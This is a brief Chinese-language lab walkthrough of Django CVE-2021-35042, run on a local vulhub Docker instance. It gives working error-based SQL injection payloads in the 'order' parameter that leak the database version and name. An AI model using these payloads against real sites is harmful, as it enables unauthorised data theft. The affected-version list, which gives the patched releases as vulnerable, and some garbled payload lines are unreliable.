影响版本:
Django 3.2
Django 3.1
Django >= 3.2.5
Django >= 3.1.13
环境搭建:
/vulhub-master/django/CVE-2021-35042
启动命令:
docker-compose up -d
访问 http://192.168.0.110:8000 成功即可
我们访问 http://192.168.0.110:8000/vuln/这个页面
通过 order 这个参数我们传递一个值构造一下
http://192.168.0.110:8000/vuln/?order=-id
可以看到这里的顺序变为了倒序 我们就可以利用这里的条件来构造语句利用报错注入 添加
?order=vuln_collection.name);select updatexml(1,concat(0x7e,(select @@version)),1)%23
到 GET 参数,其中 vuln 是我们的应用程序和 collection 模型。这里我们爆破一下数据库版本。 直接拼接到网址后面
http://192.168.0.110:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,concat(0x 7e,(select%20@@version)),1)%23
这里成功利用报错 注入完成,我们总结下其他语句ht
tp://192.168.0.110:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,concat(0x 7e,database()),1)%23
//报错回显库名